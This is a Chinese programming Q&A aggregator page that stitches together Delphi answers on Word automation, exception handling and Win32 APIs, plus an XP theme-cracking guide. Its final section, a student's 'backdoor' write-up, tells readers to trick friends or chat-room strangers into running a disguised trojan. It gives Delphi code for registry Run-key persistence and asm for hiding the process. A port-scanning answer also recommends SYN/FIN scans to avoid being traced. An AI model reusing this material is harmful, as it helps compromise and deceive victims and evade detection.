delpi word 关闭事件 delpi - 电脑|办公 - 电脑办公-杀毒安全-网络-V3学习网
微商网
 
 
导航:首页 |电脑|办公|正文

delpi word 关闭事件 delpi

时间:2021-02-26 11:47:24
delphi中把查询出来的数据导入word中? 我将我的商用《旅行社管理系统》的 发团通知 部分奉献给您,望对您有所帮助。 procedure TFrmMain N327Click(Sender: T
作者:

delpi word 关闭事件

delphi中把查询出来的数据导入word中?

我将我的商用《旅行社管理系统》的 发团通知 部分奉献给您,望对您有所帮助。

procedure TFrmMain.N327Click(Sender: TObject); var FWord :Variant; FDoc :Variant; strSQL :string; begin //首先创造对象,如果出现异常就做出提示 try FWord := CreateOleObject("Word.Application"); //WOrd程序的执行是否可见,值为false时,程序在后台运行。

FWord.Visible := True; except messagebox(0,"创建word对象失败!","警告",MB_OK+MB_ICONINFORMATION); exit; end; strSQL :="select * From "B_T_Company_Infor""; with dm.ClientDataSet_Temp do begin if Active then Active:=False; CommandText:=strSQL; Open; end; //现在打开的Word中,创建一个新的页面,然后在其中键入需要的内容 try FDOC :=FWord.Documents.Add; {对于Word的新页面} FWord.Selection.Font.Name :="宋体"; FWord.Selection.Font.Size :=20; FWord.Selection.Font.Bold :=2; FWord.Selection.paragraphs.Alignment := wdAlignParagraphCenter; FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[0].AsString); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph; FWord.Selection.paragraphs.Alignment := wdAlignParagraphLeft; FWord.Selection.Font.Size :=12; FWord.Selection.Font.Bold :=0; FWord.Selection.TypeText(" 现将我社组团部的"); FWord.Selection.TypeText(" "); FWord.Selection.TypeText("团计划发出,各地请按下列行程做接待,并及早落实"+ "团队计划和选派优秀导游员。

各地代订住宿、火车票、机票务必安排好接待,日程"+ "如有变更,及时与下站接待社或本社联系,各地接团时请举【"+ dm.ClientDataSet_Temp.Fields[0].AsString+"】接站牌。

"); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText("请速回传真确认,谢谢合作!"); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText("人数:"); FWord.Selection.TypeText("人数:"); FWord.Selection.TypeText("国籍:"); FWord.Selection.TypeText("国籍:"); FWord.Selection.TypeText("等级:"); FWord.Selection.TypeText("等级:"); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText("这里是团队安排"); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText("TO: "); FWord.Selection.TypeText("12345678901234567890"); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText("TEL: "); FWord.Selection.TypeText("12345678901234567890"); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText("FAX: "); FWord.Selection.TypeText("12345678901234567890"); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText("______________________________________________"); FWord.Selection.Typeparagraph;//换行 FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText("FROM: "); FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[0].AsString); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText("TEL: "); FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[3].AsString); FWord.Selection.Typeparagraph;//换行 FWord.Selection.TypeText("FAX: "); FWord.Selection.TypeText(dm.ClientDataSet_Temp.Fields[4].AsString); FWord.Selection.Typeparagraph;//换行 Except on e: Exception do Messagebox(0,Pchar(e.Message),"警告",MB_OK+MB_ICONINFORMATION); end; //保存文档 FWord.Caption := "组团计划保存在: "+ExtractFilePath(application.ExeName)+"Reports\GroupPlan.doc"; FDOC.SaveAS(ExtractFilePath(application.ExeName)+"Reports\GroupPlan.doc"); if messagebox(0,"组团计划已经保存成功!"+chr(13)+chr(13)+ "单击【确定】退出Word,返回到程序中!","您确信要退出Word吗?", MB_YESNO+MB_ICONINFORMATION+MB_DEFBUTTON2)=IDYES then begin FWord.Quit; FWord := Unassigned; end; end; ----------------------------- Delphi与Word之间的融合技术(1) 一、VBA代码含义 Microsoft Word是一个集成化环境,是美国微软公司的字处理系统,但是它决不仅仅是一个字处理系统,它集成了Microsoft Visual Basic,可以通过编程来实现对Word功能的扩展。

Microsoft Visual Basic在word中的代码即Word的宏,通过编写Word宏,可实现一些文档处理的自动化,如实现文档的自动备份、存盘等,可扩展Word文档的功能,因此,能够充分利用Word的特性,甚至使Word成为自己软件的一部分。

Word的宏既有有利的一部分,因为它能够帮助我们实现文档的自动化,但是Word的宏也不是纯粹的有利,有时它可能危害我们的文档、计算机系统甚 至网络,从最开始的Taiwan NO1宏病毒到现在的...

delphi怎样在关闭程序时弹出窗口?我想在关闭delphi编译

懒的给你写了,帮你找了点资料 一、异常的来源 在Delphi的应用程序中,下列的情况都比较有可能产生异常。

(1)文件处理 (2)内存分配 (3)Windows资源 (4)运行时创建对象和窗体 (5)硬件和操作系统冲突 二、异常的处理 (1)try…except…end; 在try体内的代码发生异常时,系统将转向except部分进行异常的处理。

这是Delphi处理异常的最基本的方式之一。

(2)try…finally…end; 这种异常处理结构一般用于保护Windows的资源分配等方面,它确保了无论try体内的代码是否发生异常,都需要由系统进行最后的统一处理的一些Windows对象的正确处理。

和try…except…end不同,该结构的finally部分总被执行。

(3)不存在try…except…finally…end结构来既处理异常,又保护资源分配的结构,但是,try…except…end结构允许嵌套到try…finally…end结构中,从而实现既处理异常,又保护资源的分配。

三、异常的精确处理 (1)定义一个异常。

在Delphi中,每个异常都是Exception[1]类的一个派生类[2]。

因此,定义一个异常就是定义一个Exception类的派生类。

type EMyException = class(Exception); 当然,基类可以是Exception或者Exception的任何一个任何层次的派生类。

(2)在程序中抛出一个异常。

根据不同的情况抛出异常是使用异常的最基本的模式。

在Delphi中,由raise语句来实现。

【语法】raise 异常类.Create("异常的缺省说明"); (3)在try…except…end中更加精确的捕捉异常。

使用on E:异常类 do…结构可以在do体内处理特定异常类所抛出的异常。

四、异常的调试 在Delphi IDE中,解除“Debugger Options”(可以使用菜单Tools—>Debugger Options…进行访问)中的Integrated Debugging复选框的勾选状态可以进行异常的调试。

五、异常的补充说明 (1)每一段程序都有可能产生错误!这是软件业的一个不容置疑的现象和规律。

事实上,传统的if…else…结构完全可以解决所有的错误,使用Exception机制也没能够回避在最原始的层次,通过遍历可能的情况来产生异常的做法,那么,为什么还要异常机制? 答案很清楚:异常提供了一种更加灵活和开放的方式,使得后来的编程者可以来根据实际的情况处理这种错误,而不是使用预先设定好的处理结果。

Delphi7异常处理 了解什么是异常和Delphi7中提供的异常类 掌握Delphi7环境下自定义异常的方法和异常 处理的语法结构与实现 异常 什么是异常 程序开发过程中,有编译期错误和运行期错误,编译期错误很容易发现,而运行期错误(逻辑错误和异常)往往很难预料.为了程序的稳定性和可靠性,就需要对程序异常处理和保护.异常:理解为一种特殊的事件,该事件发生时,程序的正常执行将被打断.由程序导致的不正常情况是错误而不是异常,程序错误与异常不是相同的概念.异常是为方便用户报告错误并处理错误而创建的机制,一般是由操作系统完成的.运行期错误处理 软件开发过程中,程序员必须提供适度的方式来处理不可避免的错误.一般方法如下:1 传统方法2 使用异常进行错误处理 传统方法 在Pascal早期版本中,程序员必须借助编译器开关和状态变量去检测和处理存在的错误.{$I-}{此编译器指令关闭I/O检测} Assign(InFile,InputName); Reset(InFile); {$I+}{此编译器指令恢复I/O检测} If IOResult0 then {错误处理代码}; 使用异常进行错误处理 结构化异常处理是Delphi语言内建的特性.为我们处理异常提供了方便.处理异常有两方面:1 异常处理可确保适当地恢复在应用程序中分配或改变的任何资源.2 结构化异常处理为开发人员提供了一种一致的处理各种类型运行期错误的方式 Delphi7异常处理机制 异常处理的基本思想是通过提供规范方式处理软,硬件错误的能力,使程序更加健壮.异常处理可以将处理错误的代码与正常的逻辑处理代码相分离.Delphi缺省的方式是在应用程序收到异常之前捕获异常.IDE会给出一个”预警”对话框,以指明应用程序将要产生异常.异常处理机制是一种程序设计安全策略,它是建立在保护块思想上,通过try和end语句块对代码的封装确保在程序发生异常时,程序能够正常运行或释放所占用的资源.Delphi7异常处理机制 传统程序设计中,用如下的伪代码方法来检查和处理程序错误:执行一个任务 If 前一个任务未能正确执行 执行错误处理 执行下一个任务 If 前一个任务未能正确执行 执行错误处理 …… Delphi7异常处理机制 例; try Age := StrToInt(Edit1.Text); ShowMessage(Format("生于%d年", [YearOf(Now) - Age])); except on EConvertError do showmessage("输入编辑框的不是一个有效的数字!"); on ERangeError do showmessage("输入编辑框的年龄值太大!"); end;异常类 Delphi7根据异常类型定义了相应的异常类.所有异常类的基类都是Exception类.Delphi7内置了大量的异常类,用户也可以通过Exception类自定义异常类.记住异常类的要点:1 异常类是响应不同异常现象的入口.2 熟悉异常类的层次结构.Exception异常类 Exception是所有异常类的基类,它并不是以"T"开头,而是以"E"开头,它的派生类也是以"E"开头的.Exception类定义于SysUtils单元中.Exception类最常用的...

Delphi ComboBox 模糊定位 高手请进

//ComboBox 的 OnKeyDown 事件procedure TForm1.ComboBox1KeyDown(Sender: TObject; var Key: Word;Shift: TShiftState);vari: Integer;beginif Key = VK_F3 thenfor i := ComboBox1.ItemIndex + 1 to ComboBox1.Items.Count - 1 doif Pos(ComboBox1.Text, ComboBox1.Items[i]) > 0 thenbeginComboBox1.ItemIndex := i;Break;end;end;

APPLICATION是什么

APPLICATION 就是应用程序的意思。

TApplication类是用于描述Delphi编制的应用程序的一个类。

通过对这个类的灵活应用可以编制许多有特点的程序。

下面我们就举几个这方面的例子。

1 检测当前Windows程序是否被激活: Tapplication类有一个属性——Active,这个属性就可以描述当前运行的程序是否被激活,成为Windows的焦点。

检测的代码如下:If Application.Active=False then ShowMessage("当前窗口没有被激活"); 2 取得当前程序的名称: Tapplication类的EXEName属性可以返回这个可执行程序的完整文件名(包含路径)。

实现的代码如下所示:ShowMessage(Application.ExeName);3 改变程序极小化时的标题 如果您细心观察可以发现,一些程序的标题和程序的名称并不一致,尤其是一些英文程序,窗体的标题栏比较长,可以容纳比较多的文字,而在最小化时,往往变成了很少的几个字母。

这中间起作用的就是Tapplication类的Title属性。

这个属性决定了程序最小化时的标题,而窗口中标题栏的标题是由Form的Caption属性来决定的。

其代码如下:Form1.Caption:="窗口的标题"; Application.Title:="程序的标题"; 其实我们也可以在在程序设计时指定Tapplication类的Title属性值。

操作的方法是在开发环境中拉下Project菜单选择Options菜单时弹出如图1 (略)的对话框。

在这个对话框中的Title栏中填写程序的标题一样也可以达到这种效果。

并且因为一般的工程文件都是以英文命名的,所以程序运行过程中弹出的消息框中的标题是英文。

但在指定了这个属性之后,这个程序的所有消息窗口的标题都变为Title的值。

这就使得程序看起来更加完整。

4 指明程序的主窗口 Windows系统中的界面都是窗口,但一般来讲有一个主窗口。

Tapplication的MainForm属性就可以返回程序的主窗口。

5 显示消息框 Delphi有许多显示消息框的函数与过程,比较常用的是ShowMessage,它用起来虽然十分方便,但是却有一个问题,那就是这个消息框的按钮是以英文显示的。

如果要生成一个含有中文显示的按钮就要求助于Tapplication的MessageBox函数了。

这个函数的原形如下:function MessageBox(Text, Caption: Char; Flags: Longint): Integer; 在这个函数中,前两项分别是显示的提示信息和消息窗口的标题,Flags是一个长整值,用来指定按钮的个数及功能。

熟悉Delphi的用户可能会注意到,这个函数和Delphi 3所提供的同名函数有一点不同,那不是这个版本中字符串参数都以字符的形式给出,而不再要求将其转化成指针。

我们在使用时要注意加以区别。

Application.MessageBox("需要存盘吗?", "提示信息", MB_OKCANCEL); 这个语句在运行时显示的样式如图2 (略) 所示。

最后就这个函数的返回值作一些说明,实际上这个函数返回的是一个整型的数值,而这个数值被系统指定了具体的含义,比如:按下“确定”按钮时返回的值是“1”,而其它按钮的值列在表 1 中。

表 1 按钮的意义及系统中对其定义的值 按钮的意义 按下此按钮时函数返回的值 IDABORT 3 IDCANCEL 2 IDIGNORE 5 IDNO 7 IDOK 1 IDRETRY 4 IDYES 6 6 控制窗口的尺寸 一般可以用窗口手柄来调整窗口的尺寸,但是也可以用Application的事件来调整。

实现的方法是用以下两个过程:Application.Minimized; Application.Restore; 前一个过程用来将程序的主窗口最小化,而后一个过程用来将最小化的窗口恢复到原来的尺寸。

7 链接联机帮助文件 Application的CurrentHelpFile属性能够指定当前程序所用的联机帮助文件的文件名。

这个属性经常与另一个方法联合在一起使用。

举例如下:Application.HelpFile := "联机帮助文件名"; Application.HelpJump("联机帮助文件的主题") 通过这一命令组合,我们就能使系统弹出一个显示某主题的联机帮助文件。

8 在程序运行时动态地创建窗口 一般情况下,窗口是在设计时加入到工程项目中的,但是有时也需要我们在程序运行时动态地加入窗口,这就要用到Application 的CreateForm过程,举例如下:Form3:Tform3; //声明窗口类 Application.CreateForm(TForm3, Form3); //创建窗口 9 结束程序 虽然我们可以用关闭主窗口的方法来关闭一个程序,但是更好的办法是用Application的Terminate过程。

它能够起到更彻底地关闭程序的效果。

10 Destroy 属性. 虽然Delphi提供了这一属性,但是并不提倡使用它,如果要终结程序就要调用Terminate过程,而Destroy过程一般是用来在程序发生悬挂时来退出程序时才调用,有些类似Windows中的结束任务功能。

它不仅能关闭程序实例本身,而且还能释放程序所占用的资源,能够达到将程序彻底清除出系统的目的。

如何在.Net中利用windows api函数打印一个文档

我想你是不是要打印机连续打但是却中间总是有空呢? 就是说每打完一页就回把纸张往前进一点然后继续打是不是呢? 这个问题用程序我认为基本无法解决,因为这个是打印机的驱动说了算的。

除非你买票据打印机或者每打印完一页就手动转动滚桶退纸。

在windows里面,相关打印的api不多,你可以看看《windows程序设计》第五版本,里面有一句话说的很好,那就是:虽然往打印机上画东西(坐标系和转换比例设计好后,可以说是画什么打什么)就跟在屏幕上输出东西差不多,但是你要知道,屏幕上画错了刷新就好,但是打印机却是不能退纸的,纸张只进不退。

在delphi里面只是用canvas更加形象化,方便化了而已,原理一样的。

-------------------------------------------------------------------------------------- 在C#中调用windows API函数 对于windows 系统API函数的调用在程序设计中有时是必不可少的,各种编程语言都规范了调用的方法和接口,在C#语言中的调用方法如下(以下编程环境为Visual Studio .NET):1、 在工程项目中添加一个类新项,打开这个类文件,在文件头部加入对以下命名空间的引用: using System.Runtime.InteropServices; 在类定义主体中,以静态调用的方式加入对API的引用,本文以下的API调用为例: /// /// 打开和关闭CD托盘. /// [DllImport("winmm.dll" , EntryPoint="mciSendString", CharSet=CharSet.Auto)] public static extern int mciSendString (string lpstrCommand,string lpstrReturnstring ,int uReturnLength,int hwndCallback);/// /// 显示和隐藏鼠标指针. /// [DllImport("user32.dll", EntryPoint="ShowCursor", CharSet=CharSet.Auto)] public static extern int ShowCursor(int bShow);/// /// 清空回收站. /// [DllImport("shell32.dll", EntryPoint="SHEmptyRecycleBin", CharSet=CharSet.Auto)] public static extern long SHEmptyRecycleBin(IntPtr hwnd, string pszRootPath, long dwFlags);/// /// 打开浏览器 /// [DllImport("shell32.dll", EntryPoint="ShellExecute", CharSet=CharSet.Auto)] public static extern int ShellExecute(IntPtr hwnd,string lpOperation,string lpFile,string lpParameters,string lpDirectory,int nShowCmd);/// /// 最大化窗口,最小化窗口,正常大小窗口; /// [DllImport("user32.dll", EntryPoint="ShowWindow", CharSet=CharSet.Auto)] public static extern int ShowWindow(IntPtr hwnd,int nCmdShow);2、 有了上面的文件后,就可以在自己的窗体对象的事件处理中调用以上的API,方法如下: 以下strReturn是string类型的公有变量,ApiCalls指代第一步创建的类名。

打开CD托盘:long lngReturn = ApiCalls.mciSendString("set CDAudio door open", strReturn, 127, 0); 关闭CD托盘:long lngReturn = ApiCalls.mciSendString("set CDAudio door closed", strReturn, 127, 0); 在应用程序窗体中显示鼠标指针:ApiCalls.ShowCursor(1); 在应用程序窗体中隐藏鼠标指针:ApiCalls.ShowCursor(0); 清空回收站:ApiCalls.SHEmptyRecycleBin(Form.ActiveForm.Handle,"",0x00000000); 打开浏览器窗口,textBox1.Text中表示要访问的URL地址:Long lngReturn= ApiCalls.ShellExecute(Form.ActiveForm.Handle,"Open",textBox1.Text,"","",1); 最大化窗口:ApiCalls.ShowWindow(Form.ActiveForm.Handle,3); 最小化窗口:ApiCalls.ShowWindow(Form.ActiveForm.Handle,2); 恢复正常大小窗口:ApiCalls.ShowWindow(Form.ActiveForm.Handle,1);

电脑主题问题

这个是从别的地方找到的答案,跟你的问题挺像,没细看,要是能解决问题的话,这点分跟我就行了,可别追分,我不好意思要…… WINDOWS XP 主题全攻略 Windows XP 采用了全新的主题管理内核,其功能非常强大,能够实现的效果非常炫目,但是居然不支持非官方的桌面主题,Plus!里那几个简单的主题不用几天就看腻味了,所以,要想使用第三方的主题,就必须通过非官方的办法来解决。

一. 必备软件 1. Style XP Style XP 是一个第三方的XP桌面主题支持和管理软件,也是目前最好的。

它使用的是Windows XP 的主题内核,并且强化了很多功能,可以导入、选择、更换和管理官方的和非官方的桌面主题、壁纸甚至登陆界面。

该软件安装之后会在XP中添加一个后台运行的服务 StyleXP Service,占用1-2MB的内存,这个服务也就是能够使用第三方主题的基本。

另外,它的主程序可以选择两种运行方式,一种是保持运行在系统托盘里,这种模式在系统托盘里有一个StyleXP的图标,随时可以点击调出主界面;一种是不消耗资源的方式,主程序平时不运行。

建议大家选择第二种方式,因为这个主程序运行起来可不秀气,占用内存到10-20MB。

实际上第二种方式也可以随时运行主程序来管理主题。

Style XP 是共享软件,自带中文语言,在1.01L版本之后正式支持 Windows XP SP1,1.01P版本开始支持 Windows 2003。

2. UxTheme.dll 破解版 UxTheme.dll 就是XP系统主题支持的核心文件,也就是它让XP无法使用第三方主题。

如果你不想安装 StyleXP,那么你可以通过破解 UxTheme.dll 文件来达到目的。

实际上,UxTheme.dll 破解版就是推出 StyleXP 的 TGT Soft 在爱好者的强烈要求下放出来的,Microsoft 好像也默认了这种行为,呵呵,真是难得。

使用 UxTheme.dll 破解版之后,无需任何其他的软件你就可以在XP的显示属性中管理和调用第三方的主题和风格。

下载 UxTheme.dll 破解版之后,先将 X:\Windows\System32\UxTheme.dll 重命名,例如改成 UxTheme.dll.bak ,然后将破解版的复制过来,重新启动即可。

注意,这里还牵涉到Windows XP 的系统文件保护,请参见下面的内容。

以上两种解决办法只要任选其一即可,各有各的好处,大家看着办吧。

笔者个人来言用的是前者,因为当StyleXP以服务运行时占用的资源非常少,2MB左右,无须修改系统文件,而且管理起主题来比Windows的显示属性方便得多,而且还可以随意更换和管理Logon界面,不需要去烦琐地替换系统文件,等等。

真正说喜欢用桌面主题的话,不大可能在乎这么一点点资源的占用。

二. 桌面主题的构成 一个XP的桌面主题可以包含好几个部分,风格、壁纸、屏保、鼠标指针、系统声音事件、图标,除了风格是必须的之外,其他部分都是可选的。

风格可以定义的内容是大家在Windows里所能看到的一切,例如窗口的外观、字体、颜色,按钮的外观等等等等,一个桌面主题里 风格就决定了大家所看到的Windows的样子。

大家可以打开 X:\Windows\Resources\Themes 目录,这个目录就是XP中存放桌面主题的目录。

你能看到有很多 xxx.theme文件,你在显示属性的“主题”列表里看到有多少个主题里就有多少个 .theme 文件,它就是Windows主题文件,一个桌面主题的总定义文件,它的内 容不多,是文本格式的,以XP的默认官方主题 Luna 为例,大家用任何一个文本编辑器打开Luna.theme ,可以很直观的看到其内容。

[Theme] 部分是定义我的电脑、我的文档、网络邻居以及回收站这几个主要部件的图标,Luna.theme 中 My Computer 定义的图标就是 X:\Windows\explorer.exe,0 ,也就是explorer.exe 中包含的第一个图标,没有包含特定图标的主题这里一般都是这个值。

这里 即可以指向程序文件,也可以指向DLL文件或者图标文件。

[Control Panel\Colors] 部分定义的是各个Windows部件如标题栏、窗口背景、文字等的颜色,这里定义的颜色大部分时候是无关紧要的,因为系统会优先按照色彩方案中的配色显示,这在后面的部分会讲到。

[Control Panel\Cursors] 定义的就是鼠标指针了,每一行定义一个指针文件,例如 Arrow 定义箭头光标,Wait 定义等待光标。

Luna中这里是空的,代表使用Windows默认的鼠标指针,这里的定义必须是具体的 .cur 光标文件或者 .ani 动画光标文件。

[Control Panel\Desktop] 定义桌面的显示,包括壁纸图片的位置,显示方式,以及是否激活屏保。

Luna中的 Wallpaper=%WinDir%web\wallpaper\Bliss.bmp 就是大家看得最多的“菜地蓝天”了 。

这里的 ScreenSaveActive=X 和下面的 [boot] 部分SCRNSAVE.EXE=XXX 是对应的,前者管是否允许屏保,后者是屏保的具体地址。

[VisualStyles] 就是最关键的部分了,这里指向的就是一个桌面主题的核心部分:.msstyles 可视化外观风格文件,Luna中指的就是 Path=%WinDir%resources\Themes\luna\luna.msstyles ,后面会讲到。

再往下走就是定义声音事件的了,和我们在 控制面板 → 声音和音频设备 → 声音 中设置的项目是一样的。

一般来说一个完整的主题基本文件结构就是一个 .theme 文件和一个放置风格文件等其他文件的文件夹,在 ...

Asynchronous socket error 10061

服务器错误,端口扫描的问题在写端口扫描时 ,如果与某主机特定端口无法通信 ,就此主机而言 ,我想应该有以下两种情况 : 1 。

此地址上无任何主机存在 2 。

有主机但被扫描的特定端口不存在 ( 也可能是被 firewall 过滤了 )如何得知某端口一打开给你来个简单的吧! procedure TForm1.Timer1Timer(Sender: TObject);var I : integer;begin Memo1.Clear; for I := 0 to 1000 do begin ServerSocket1.Close; ServerSocket1.Port := I; try ServerSocket1.Open; except Memo1.Lines.Add(IntToStr(I) + " 端口被打开 !"); end; end;end;对不起 ,我指的是别人机器上的 PORT你是说 PORT 只能被一个程序打开么 ?可是 ,我用 OICQ 时在打开 4000 没问题呀 我把上面的程序改了一下 ,也可以用的。

你就去试图连接对方 ,如果通了 ,说明此端口被打 开。

procedure TForm1.ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);begin Memo1.Lines.Add(" 端口 "+IntToStr(Socket.RemotePort)+" 被打开! ");end;procedure TForm1.Timer1Timer(Sender: TObject);begin ClientSocket1.Close; ClientSocket1.Port := PortID; try ClientSocket1.Open; except end; Inc(PortID);end;procedure TForm1.FormCreate(Sender: TObject);begin PortID := 1;end;procedure TForm1.ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);begin try ClientSocket1.Close; except end; Memo2.Lines.add(IntToStr(Socket.remotePort));end;吕雪松你的方法我试过了可是抱错 :asynchronous socket error 10061--------------------------------------------------------------------------------来自 :xueminliu 时间 :01-3-3 17:26:47 ID:464312要区分 tcp 和 udpoicq 用 udp 协议 ,connect 没有用 ,但是 tcp 可以这样 另外 ,如果你写扫描程序可千万不要这样 ,应该使用别的链接方法 ,否则你的踪迹会被别人 发现 .例如使用 sys 扫描或者 fin 扫描 :我给你异步 socket 的 api 代码 :unit Unit1;interfaceuses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,WInSock, ExtCtrls;const WM_SOCKET=WM_USER+1; //socket 消息 type TForm1 = class(TForm) Button1: TButton; Edit1: TEdit; Panel1: TPanel; Memo1: TMemo; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); private Sockhd : integer; //socket 句柄 Serv_Addr : Tsockaddr;// 目标地址 procedure SockEvent(var msg: Tmessage);message WM_SOCKET; // 处理 cocket 消息 procedure DspMsg(msg : string); // 显示信息 { Private declarations } public { Public declarations } end;Form1: TForm1;implementation{$R *.DFM}function lookup_hostname(const hostname:string):longint; // 把域名转化成 IP 地址 var RemoteHost : PHostEnt; (* no, don"t free it! *) ip_address: longint;begin ip_address:=-1; try if hostname="" then begin (* no host given! *) lookup_hostname:=ip_address; EXIT; end else begin ip_address:=Winsock.Inet_Addr(PChar(hostname)); (* try a xxx.xxx.xxx.xx first *) if ip_address=SOCKET_ERROR then begin RemoteHost:=Winsock.GetHostByName(PChar(hostname)); if (RemoteHost=NIL) or (RemoteHost^.h_length200 then Memo1.Lines.Delete(0);end;procedure TForm1.SockEvent(var msg : tmessage); // 处理 socket 消息 begincase msg.LParam of FD_READ: begin // 标识可以读数据 ,当然肯定已经链接上了 dspmsg(" 可以读取数据 "); //do what you want do end;FD_WRITE: begin dspmsg(" 可以发送数据 "); //do what you want do end;FD_ERROR: begin dspmsg(" 发生错误 "); // 如果你是客户端 ,则应该是连接不上 ,即端口没有开 end;FD_CLOSE: Begin dspmsg(" 服务器断开连接 "); // 对方关闭连接 end;FD_CONNECT: begin dspmsg(" 连结上服务器 "); // 表示对方端口开放 end;FD_ACCEPT: begin dspmsg(" 接收一个请求 "); // 这个消息只有服务端可能出现 end;end;end;procedure TForm1.FormCreate(Sender: TObject);var wsaData:TwsaData;begin // 启动 winsock 动态链接库 if WSAStartup (makeword(2,2), wsaData)0 then begin messagebox(application.handle," 无法启动 winsock 动态连接库 !"," 警告 ",MB_OK or MB_APPLMODAL or MB_ICONWARNING); Application.Terminate; end...

电脑网络中的“后门”是什么意思?

电脑网络中的“后门”即是网络的漏洞 一、问题的提出 "The Internet is now more like an unlocked diary,with millions of consumers divulging marketable details of their personal lives,from where they live to what they eat for dinner."这是著名匿名服务器站点Anonymizer上曾有过的一段话。

是的,在不知不觉中,E时代已经到来,网络给我们的生活增添了绚丽与多彩。

但是,在这五彩缤纷的世界下面,潜伏着一股黑潮暗流--黑客(HACKER)。

这个名词越来越引起世人的关注,而且影响越来越大,关于黑客事件的报道也越来越多。

黑客是伴随网络产生成长的,是指那些对电脑和网络有狂热兴趣的人,他们不断的研究电脑和网络知识,发现电脑和网络中的漏洞,喜欢挑战高难度的网络系统,千方百计的寻找网络中的大小漏洞,然后向网络管理员提出解决漏洞的建议。

真正的黑客大多是赋有正义感的。

他们不会恶意侵入他人系统,并且破坏系统程序和数据。

但有一些人特别崇拜黑客,喜欢利用电脑网络四处捣乱,到处寻找黑客软件,然后到处搞破坏,这类人应该是网络上最危险的家伙。

现在的媒体把这类人是黑客混为一谈,"黑客"一词也因此成了贬义词。

现在的黑客软件十分多,Back Orific、冰河、YAI到处都有。

接触网络后,我经常想:黑客软件到底是如何编制的?我能编一个黑客软件多好呀!这到不是想干坏事,因为在网络机房上课时,用一些黑客软件可以作为控制工具来控制学员的机器(如:冰河)。

可见黑客软件本身不象病毒是个不好的东西,是可以用在正路上的。

经过我的摸索,初步掌握了一些设计方法,主要是特洛伊木马程序。

本次毕业设计,我设计一个模拟黑客入侵程序,一个恶作剧程序,一个可以截获网络上别人在机器上干些什么的程序,几个程序纯属用于实验,没有什么其它目的。

在这里向各位老师汇报一下。

程序设计的语言用的是PASCAL,用DELPHI 4进行编译。

二、"特洛伊木马"如何入侵系统 一个完整的"特洛伊木马"一般分为两个部分:一个是客户服务程序(Client),用它来控制已经打开"后门"的机器;另一个是"后门"程序,用它来开放某台机器。

假设我们想控制某台电脑,那么我们通过一些手段来把"后门"程序传到该电脑中并使其运行,这样该电脑就变成了一台特殊的FTP服务器。

然后我们使用Client程序就可以控制该电脑了。

当然,后门程序如果不运行也就无法发挥作用。

因此,就要"诱骗"别人使用后门程序。

如果是朋友或熟人,利用他们的信任让他运行就行了;要是陌生人,可以在聊天室中和他们套近乎,一旦取得信任,把程序发给他们,诱骗其运行。

当然,程序要隐蔽一些,例如可以把后门程序改名,变为README之类,或改变后缀,变成GIF、BMP等,当他们双击这些文件后就上了"贼船"了。

也可以用WINZIP的把后门程序和一些东西制作成一个自解压包,然后利用设定解压后自动运行SETUP程序功能来运行指定的后门程序。

总之,要利用一切手段使人家运行后门程序。

木马程序运行后,会通过不同的方式修改系统,以便以后启动系统后自动运行木马。

修改方法一般是通过修改注册表: Hkey_local_machine \Software\Microsoft\Windows\CurrentVersion\Run和 Hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\RunServices中的项目是在系统开机时自动加载的,我们可以在这两添加键值,达到自动启动的目的。

以下的这段代码可以修改注册表,并调用API函数判断系统目录,复制文件到其下,以实行入侵系统的目的: unit Unit1; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls,registry; type TForm1 = class(TForm) Button1: TButton; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.Button1Click(Sender: TObject); var regf:tregistry; sysdir:pchar; temp:string; begin getmem(sysdir,256); getsystemdirectory(sysdir,128); temp:=sysdir+"\client.exe"; freemem(sysdir,256); regf:=tregistry.create; regf.rootkey:=hkey_local_machine; regf.openkey("software\microsoft\windows\currentversion\run",true); regf.writestring(" ",temp); regf.free; copyfile(pchar("hacker.exe"),pchar(temp),true); end; procedure TForm1.Button2Click(Sender: TObject); begin close; end; end. 也有些高明的程序可以感染系统文件,附着在这些程序文件中,以达到其目的。

我还没有搞清楚这是怎样办到的。

在Windows中按下Ctrl+Alt+Del可以显示当前运行的程序,这样一来,我们的木马程序不是要露馅了吗?以下这段汇编代码可以很方便的嵌入DELPHI或C++中,让别人看不到你的程序,可以很好的隐藏: asm mov ebx,30h push es push fs pop es mov ebx,es:[ebx] pop es mov eax,10800000h xchg [ebx+20h],eax end; 为什么这段汇编代码可以隐藏程序呢?据资料分析:在WINDOWS 9X加载应用程序时,FS指向的段就是类似于DOS应用程...

大家还关注
    
阅读排行
推荐阅读